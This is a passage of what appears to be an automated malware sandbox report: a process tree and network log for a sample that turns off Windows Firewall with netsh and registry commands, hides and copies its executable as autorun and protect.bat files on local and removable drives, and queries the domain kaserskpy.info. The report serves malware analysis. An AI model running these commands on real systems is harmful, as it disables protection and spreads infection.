      PID:2904
    - - C:\Windows\SysWOW64\net.exe
        
        net start browser
        5⤵
        
        PID:2304
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start browser
        6⤵
        
        PID:2716
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c netsh advfirewall set currentprofile state off
      4⤵
      PID:2348
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set currentprofile state off
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:2440
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
      4⤵
      PID:2308
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
        5⤵
        Modifies firewall policy service
        
        PID:2880
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
      4⤵
      PID:2668
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
        5⤵
        
        PID:2432
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
      4⤵
      PID:2924
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
        5⤵
        
        PID:2852
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c netsh advfirewall set currentprofile state off
      4⤵
      PID:2256
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set currentprofile state off
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:1600
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main\FeatureControl" /v FEATURE_WEBOC_POPUPMANAGEMENT /t REG_DWORD /d 0 /f
      4⤵
      PID:2916
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main\FeatureControl" /v FEATURE_WEBOC_POPUPMANAGEMENT /t REG_DWORD /d 0 /f
        5⤵
        Modifies Internet Explorer settings
        
        PID:2888
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_FullURL /t REG_SZ /d yes /f
      4⤵
      PID:1140
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_FullURL /t REG_SZ /d yes /f
        5⤵
        Modifies Internet Explorer settings
        
        PID:2284
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_StatusBar /t REG_SZ /d yes /f
      4⤵
      PID:948
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_StatusBar /t REG_SZ /d yes /f
        5⤵
        Modifies Internet Explorer settings
        
        PID:1336
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_URLinStatusBar /t REG_SZ /d yes /f
      4⤵
      PID:1608
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_URLinStatusBar /t REG_SZ /d yes /f
        5⤵
        Modifies Internet Explorer settings
        
        PID:2720
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\MINIE" /v ShowStatusBar /t REG_DWORD /d 1 /f
      4⤵
      PID:2468
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\Software\Microsoft\Internet Explorer\MINIE" /v ShowStatusBar /t REG_DWORD /d 1 /f
        5⤵
        Modifies Internet Explorer settings
        
        PID:3068
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Current" /f
      4⤵
      PID:2404
    - - C:\Windows\SysWOW64\reg.exe
        
        reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Current" /f
        5⤵
        
        PID:1568
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Default" /f
      4⤵
      PID:1688
    - - C:\Windows\SysWOW64\reg.exe
        
        reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Default" /f
        5⤵
        
        PID:1704
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no /f
      4⤵
      PID:776
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no /f
        5⤵
        Modifies Internet Explorer settings
        
        PID:2724
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v "DisableFirstRunCustomize" /t REG_DWORD /d "1" /f
      4⤵
      PID:896
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v "DisableFirstRunCustomize" /t REG_DWORD /d "1" /f
        5⤵
        Modifies Internet Explorer settings
        
        PID:2212
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\System32\rundll32.exe"
      4⤵
      PID:1536
  - - C:\Program Files (x86)\Windows Media Player\wmplayer.exe
      "C:\Program Files (x86)\Windows Media Player\wmplayer.exe"
      4⤵
      Loads dropped DLL
      Adds Run key to start application
      Drops desktop.ini file(s)
      Enumerates connected drives
      Drops autorun.inf file
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Modifies registry class
      PID:1680
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"
        5⤵
        
        PID:1056
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib +R +H "C:\autorun.inf"
        5⤵
        
        PID:2440
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib +R +H "C:\autorun.inf"
        6⤵
        Sets file to hidden
        Drops autorun.inf file
        Views/modifies file attributes
        
        PID:1724
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib +R +H "F:\autorun.inf"
        5⤵
        
        PID:2312
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib +R +H "F:\autorun.inf"
        6⤵
        Sets file to hidden
        Drops autorun.inf file
        Views/modifies file attributes
        
        PID:1992
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib -R -H "C:\protect.bat"
        5⤵
        
        PID:1540
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib -R -H "C:\protect.bat"
        6⤵
        Views/modifies file attributes
        
        PID:756
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib -R -H "F:\protect.bat"
        5⤵
        
        PID:2504
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib -R -H "F:\protect.bat"
        6⤵
        Views/modifies file attributes
        
        PID:2008
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
        5⤵
        
        PID:1952
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
        6⤵
        Views/modifies file attributes
        
        PID:1228
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
        5⤵
        
        PID:2052
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
        6⤵
        Views/modifies file attributes
        
        PID:2384
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\advant.exe" "F:\protect.bat"
        5⤵
        
        PID:2400
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\advant.exe" "C:\protect.bat"
        5⤵
        
        PID:548
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
        5⤵
        
        PID:792
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
        6⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:2932
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
        5⤵
        
        PID:1696
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
        6⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:1692
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib +R +H "F:\protect.bat"
        5⤵
        
        PID:1704
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib +R +H "F:\protect.bat"
        6⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:2716
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c attrib +R +H "C:\protect.bat"
        5⤵
        
        PID:2140
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib +R +H "C:\protect.bat"
        6⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:2396
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"
      4⤵
      PID:1344
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"
    3⤵
    PID:2436
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H "F:\autorun.inf"
    3⤵
    PID:596
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H "F:\autorun.inf"
      4⤵
      Sets file to hidden
      Drops autorun.inf file
      Views/modifies file attributes
      PID:2032
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H "C:\autorun.inf"
    3⤵
    PID:1248
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H "C:\autorun.inf"
      4⤵
      Sets file to hidden
      Drops autorun.inf file
      Views/modifies file attributes
      PID:1072
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H "C:\protect.bat"
    3⤵
    PID:860
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H "C:\protect.bat"
      4⤵
      Views/modifies file attributes
      PID:2200
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H "F:\protect.bat"
    3⤵
    PID:1868
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H "F:\protect.bat"
      4⤵
      Views/modifies file attributes
      PID:1844
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
    3⤵
    PID:1688
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
      4⤵
      Views/modifies file attributes
      PID:880
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
    3⤵
    PID:2140
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
      4⤵
      Views/modifies file attributes
      PID:3068
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\advant.exe" "C:\protect.bat"
    3⤵
    PID:2500
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\advant.exe" "F:\protect.bat"
    3⤵
    PID:1644
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
    3⤵
    PID:1924
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:840
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
    3⤵
    PID:1716
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:1908
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H "C:\protect.bat"
    3⤵
    PID:388
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H "C:\protect.bat"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:1552
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H "F:\protect.bat"
    3⤵
    PID:1872
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H "F:\protect.bat"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:2232
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"
  2⤵
  PID:2828
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +R +H "C:\autorun.inf"
  2⤵
  PID:2812
- - C:\Windows\SysWOW64\attrib.exe
    attrib +R +H "C:\autorun.inf"
    3⤵
    - Sets file to hidden
    - Drops autorun.inf file
    - Views/modifies file attributes
    PID:2012
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +R +H "F:\autorun.inf"
  2⤵
  PID:2540
- - C:\Windows\SysWOW64\attrib.exe
    attrib +R +H "F:\autorun.inf"
    3⤵
    - Sets file to hidden
    - Drops autorun.inf file
    - Views/modifies file attributes
    PID:1392
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib -R -H "C:\protect.bat"
  2⤵
  PID:1208
- - C:\Windows\SysWOW64\attrib.exe
    attrib -R -H "C:\protect.bat"
    3⤵
    - Views/modifies file attributes
    PID:1092
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib -R -H "F:\protect.bat"
  2⤵
  PID:2000
- - C:\Windows\SysWOW64\attrib.exe
    attrib -R -H "F:\protect.bat"
    3⤵
    - Views/modifies file attributes
    PID:2764
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
  2⤵
  PID:808
- - C:\Windows\SysWOW64\attrib.exe
    attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
    3⤵
    - Views/modifies file attributes
    PID:2240
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
  2⤵
  PID:2284
- - C:\Windows\SysWOW64\attrib.exe
    attrib -S -R -H "C:\Users\Admin\AppData\Roaming\advant.exe"
    3⤵
    - Views/modifies file attributes
    PID:2976
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\advant.exe" "C:\protect.bat"
  2⤵
  PID:1648
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\advant.exe" "F:\protect.bat"
  2⤵
  PID:2040
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
  2⤵
  PID:2452
- - C:\Windows\SysWOW64\attrib.exe
    attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:2372
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
  2⤵
  PID:2028
- - C:\Windows\SysWOW64\attrib.exe
    attrib +S +R +H "C:\Users\Admin\AppData\Roaming\advant.exe"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:1136
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +R +H "C:\protect.bat"
  2⤵
  PID:2464
- - C:\Windows\SysWOW64\attrib.exe
    attrib +R +H "C:\protect.bat"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:1652
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +R +H "F:\protect.bat"
  2⤵
  PID:2180
- - C:\Windows\SysWOW64\attrib.exe
    attrib +R +H "F:\protect.bat"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:1336

Network

DNS

kaserskpy.info

rawcircle.scr

Remote address:

8.8.8.8:53

Request

kaserskpy.info

IN A

Response
DNS

redir.metaservices.microsoft.com

cmd.exe

Remote address:

8.8.8.8:53

Request

redir.metaservices.microsoft.com

IN A

Response

redir.metaservices.microsoft.com

IN CNAME

redir.metaservices.microsoft.com.edgesuite.net

redir.metaservices.microsoft.com.edgesuite.net

IN CNAME

a1095.g2.akamai.net

a1095.g2.akamai.net

IN A

173.222.211.58

a1095.g2.akamai.net

IN A

173.222.211.35
GET

http://redir.metaservices.microsoft.com/redir/allservices/?sv=5&locale=409&geoid=f4&version=12.0.7601.17514&userlocale=409

wmplayer.exe

Remote address:

173.222.211.58:80

Request

GET /redir/allservices/?sv=5&locale=409&geoid=f4&version=12.0.7601.17514&userlocale=409 HTTP/1.1
Accept: */*
User-Agent: Windows-Media-Player/12.0.7601.17514
Accept-Encoding: gzip, deflate
Host: redir.metaservices.microsoft.com
Connection: Keep-Alive

Response

HTTP/1.1 302 Moved Temporarily

Server: AkamaiGHost
Content-Length: 0
Location: http://onlinestores.metaservices.microsoft.com/serviceswitching/AllServices.aspx?sv=5&locale=409&geoid=f4&version=12.0.7601.17514&userlocale=409
Date: Sat, 13 Jul 2024 11:45:45 GMT
Connection: keep-alive
DNS

onlinestores.metaservices.microsoft.com

wmplayer.exe

Remote address:

8.8.8.8:53

Request

onlinestores.metaservices.microsoft.com

IN A

Response

onlinestores.metaservices.microsoft.com

IN CNAME

serviceswitching.metaservices.microsoft.com.edgesuite.net

serviceswitching.metaservices.microsoft.com.edgesuite.net

IN CNAME

a177.g.akamai.net

a177.g.akamai.net

IN A

92.123.142.201

a177.g.akamai.net

IN A

92.123.140.35
GET

http://onlinestores.metaservices.microsoft.com/serviceswitching/AllServices.aspx?sv=5&locale=409&geoid=f4&version=12.0.7601.17514&userlocale=409

wmplayer.exe

Remote address:

92.123.142.201:80

Request

GET /serviceswitching/AllServices.aspx?sv=5&locale=409&geoid=f4&version=12.0.7601.17514&userlocale=409 HTTP/1.1
Accept: */*
User-Agent: Windows-Media-Player/12.0.7601.17514
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Host: onlinestores.metaservices.microsoft.com

Response

HTTP/1.1 200 OK

Accept-Ranges: bytes
Content-Type: application/xml
ETag: "df03e65b8e082f24dab09c57bc9c6241:1507068277"
Last-Modified: Tue, 03 Oct 2017 22:04:36 GMT
Server: AkamaiNetStorage
Content-Length: 546
Date: Sat, 13 Jul 2024 11:45:45 GMT
Connection: keep-alive
GET

http://onlinestores.metaservices.microsoft.com/bing/bing.xml?locale=409&geoid=f4&version=12.0.7601.17514&userlocale=409

wmplayer.exe

Remote address:

92.123.142.201:80

Request

GET /bing/bing.xml?locale=409&geoid=f4&version=12.0.7601.17514&userlocale=409 HTTP/1.1
Accept: */*
User-Agent: Windows-Media-Player/12.0.7601.17514
Accept-Encoding: gzip, deflate
Host: onlinestores.metaservices.microsoft.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Accept-Ranges: bytes
Content-Type: application/xml
ETag: "d58da90d6dc51f97cb84dfbffe2b2300:1507068209"
Last-Modified: Tue, 03 Oct 2017 22:03:27 GMT
Server: AkamaiNetStorage
Content-Length: 523
Date: Sat, 13 Jul 2024 11:45:45 GMT
Connection: keep-alive
DNS

images.windowsmedia.com

wmplayer.exe

Remote address:

8.8.8.8:53

Request

images.windowsmedia.com

IN A

Response

images.windowsmedia.com

IN CNAME

images.windowsmedia.com.akadns.net

images.windowsmedia.com.akadns.net

IN CNAME

images.windowsmedia.com.edgesuite.net

images.windowsmedia.com.edgesuite.net

IN CNAME

a1076.g.akamai.net

a1076.g.akamai.net

IN A

92.123.142.209

a1076.g.akamai.net

IN A

92.123.143.232
GET

http://images.windowsmedia.com/svcswitch/mg4_wmp12_30x30_2.png

wmplayer.exe

Remote address:

92.123.142.209:80

Request

GET /svcswitch/mg4_wmp12_30x30_2.png HTTP/1.1
Accept: */*
User-Agent: Windows-Media-Player/12.0.7601.17514
Accept-Encoding: gzip, deflate
Host: images.windowsmedia.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Content-Type: image/png
Last-Modified: Mon, 10 Nov 2008 23:46:38 GMT
Accept-Ranges: bytes
ETag: "a09cf928e43c91:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Content-Length: 2043
Unused62: 8096267
Cache-Control: max-age=1166703
Date: Sat, 13 Jul 2024 11:45:46 GMT
Connection: keep-alive
GET

http://images.windowsmedia.com/svcswitch/media_guide_16x16.png

wmplayer.exe

Remote address:

92.123.142.209:80

Request

GET /svcswitch/media_guide_16x16.png HTTP/1.1
Accept: */*
User-Agent: Windows-Media-Player/12.0.7601.17514
Accept-Encoding: gzip, deflate
Host: images.windowsmedia.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Content-Type: image/png
Last-Modified: Tue, 28 Oct 2008 21:02:20 GMT
Accept-Ranges: bytes
ETag: "db34ed774039c91:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Content-Length: 897
Unused62: 8096267
Cache-Control: max-age=316833
Date: Sat, 13 Jul 2024 11:45:46 GMT
Connection: keep-alive
DNS

kaserskpy.info

rawcircle.scr

Remote address:

8.8.8.8:53

Request

kaserskpy.info

IN A

Response
DNS

kaserskpy.info

rawcircle.scr

Remote address:

8.8.8.8:53

Request

kaserskpy.info

IN A

Response
DNS

kaserskpy.info

rawcircle.scr

Remote address:

8.8.8.8:53

Request

kaserskpy.info

IN A

Response
DNS

redir.metaservices.microsoft.com

cmd.exe

Remote address:

8.8.8.8:53

Request

redir.metaservices.microsoft.com

IN A

Response

redir.metaservices.microsoft.com

IN CNAME

redir.metaservices.microsoft.com.edgesuite.net

redir.metaservices.microsoft.com.edgesuite.net

IN CNAME

a1095.g2.akamai.net

a1095.g2.akamai.net

IN A

173.222.211.35

a1095.g2.akamai.net

IN A

173.222.211.58
GET

http://redir.metaservices.microsoft.com/redir/getmdrcdbackground/?locale=409&geoid=f4&version=12.0.7601.17514&userlocale=409&wmid=5FA05D35-A682-4AF6-96F7-0773E42D4D16

cmd.exe

Remote address:

173.222.211.35:80

Request

GET /redir/getmdrcdbackground/?locale=409&geoid=f4&version=12.0.7601.17514&userlocale=409&wmid=5FA05D35-A682-4AF6-96F7-0773E42D4D16 HTTP/1.1
Accept: */*
User-Agent: Windows-Media-Player/12.0.7601.17514
Accept-Encoding: gzip, deflate
Host: redir.metaservices.microsoft.com
Connection: Keep-Alive
Pragma: no-cache

Response

HTTP/1.1 302 Moved Temporarily

Server: AkamaiGHost
Content-Length: 0
Location: http://toc.music.metaservices.microsoft.com/cdinfo/GetMDRCD.aspx?locale=409&geoid=f4&version=12.0.7601.17514&userlocale=409&wmid=5FA05D35-A682-4AF6-96F7-0773E42D4D16
Date: Sat, 13 Jul 2024 11:46:05 GMT
Connection: keep-alive
DNS

toc.music.metaservices.microsoft.com

cmd.exe

Remote address:

8.8.8.8:53

Request

toc.music.metaservices.microsoft.com

IN A

Response
DNS

kaserskpy.info

rawcircle.scr

Remote address:

8.8.8.8:53

Request

kaserskpy.info

IN A

Response
DNS

kaserskpy.info

rawcircle.scr

Remote address:

8.8.8.8:53

Request

kaserskpy.info

IN A

Response
DNS

kaserskpy.info

rawcircle.scr

Remote address:

8.8.8.8:53

Request

kaserskpy.info

IN A

Response

173.222.211.58:80

http://redir.metaservices.microsoft.com/redir/allservices/?sv=5&locale=409&geoid=f4&version=12.0.7601.17514&userlocale=409

http

wmplayer.exe

535 B
463 B
6
4

HTTP Request

GET http://redir.metaservices.microsoft.com/redir/allservices/?sv=5&locale=409&geoid=f4&version=12.0.7601.17514&userlocale=409

HTTP Response

302
92.123.142.201:80

http://onlinestores.metaservices.microsoft.com/bing/bing.xml?locale=409&geoid=f4&version=12.0.7601.17514&userlocale=409

http

wmplayer.exe

853 B
1.9kB
7
6

HTTP Request

GET http://onlinestores.metaservices.microsoft.com/serviceswitching/AllServices.aspx?sv=5&locale=409&geoid=f4&version=12.0.7601.17514&userlocale=409

HTTP Response

200

HTTP Request

GET http://onlinestores.metaservices.microsoft.com/bing/bing.xml?locale=409&geoid=f4&version=12.0.7601.17514&userlocale=409

HTTP Response

200
92.123.142.209:80

http://images.windowsmedia.com/svcswitch/mg4_wmp12_30x30_2.png

http

wmplayer.exe

475 B
2.6kB
6
5

HTTP Request

GET http://images.windowsmedia.com/svcswitch/mg4_wmp12_30x30_2.png

HTTP Response

200
92.123.142.209:80

http://images.windowsmedia.com/svcswitch/media_guide_16x16.png

http

wmplayer.exe

481 B
2.6kB
6
5

HTTP Request

GET http://images.windowsmedia.com/svcswitch/media_guide_16x16.png

HTTP Response

200
173.222.211.35:80

http://redir.metaservices.microsoft.com/redir/getmdrcdbackground/?locale=409&geoid=f4&version=12.0.7601.17514&userlocale=409&wmid=5FA05D35-A682-4AF6-96F7-0773E42D4D16

http

cmd.exe

505 B
444 B
4
3

HTTP Request

GET http://redir.metaservices.microsoft.com/redir/getmdrcdbackground/?locale=409&geoid=f4&version=12.0.7601.17514&userlocale=409&wmid=5FA05D35-A682-4AF6-96F7-0773E42D4D16

HTTP Response

302
127.0.0.1:5220

wmplayer.exe
127.0.0.1:5220

wmplayer.exe
127.0.0.1:5220

cmd.exe
127.0.0.1:5220

4188928d42578d01826be310ed423f73_JaffaCakes118.exe
127.0.0.1:5220

cmd.exe

8.8.8.8:53

kaserskpy.info

dns

rawcircle.scr

60 B
139 B
1
1

DNS Request

kaserskpy.info
8.8.8.8:53

redir.metaservices.microsoft.com

dns

cmd.exe

78 B
200 B
1
1

DNS Request

redir.metaservices.microsoft.com

DNS Response

173.222.211.58

173.222.211.35
8.8.8.8:53

onlinestores.metaservices.microsoft.com

dns

wmplayer.exe

85 B
216 B
1
1

DNS Request

onlinestores.metaservices.microsoft.com

DNS Response

92.123.142.201

92.123.140.35
8.8.8.8:53

images.windowsmedia.com

dns

wmplayer.exe

69 B
226 B
1
1

DNS Request

images.windowsmedia.com

DNS Response

92.123.142.209

92.123.143.232
8.8.8.8:53

kaserskpy.info

dns

rawcircle.scr

60 B
139 B
1
1

DNS Request

kaserskpy.info
8.8.8.8:53

kaserskpy.info

dns

rawcircle.scr

60 B
139 B
1
1

DNS Request

kaserskpy.info
8.8.8.8:53

kaserskpy.info

dns

rawcircle.scr

60 B
139 B
1
1

DNS Request

kaserskpy.info
8.8.8.8:53

redir.metaservices.microsoft.com

dns

cmd.exe

78 B
200 B
1
1

DNS Request

redir.metaservices.microsoft.com

DNS Response

173.222.211.35

173.222.211.58
8.8.8.8:53

toc.music.metaservices.microsoft.com

dns

cmd.exe

82 B
155 B
1
1

DNS Request

toc.music.metaservices.microsoft.com
8.8.8.8:53

kaserskpy.info

dns

rawcircle.scr

60 B
139 B
1
1

DNS Request

kaserskpy.info
8.8.8.8:53

kaserskpy.info

dns

rawcircle.scr

60 B
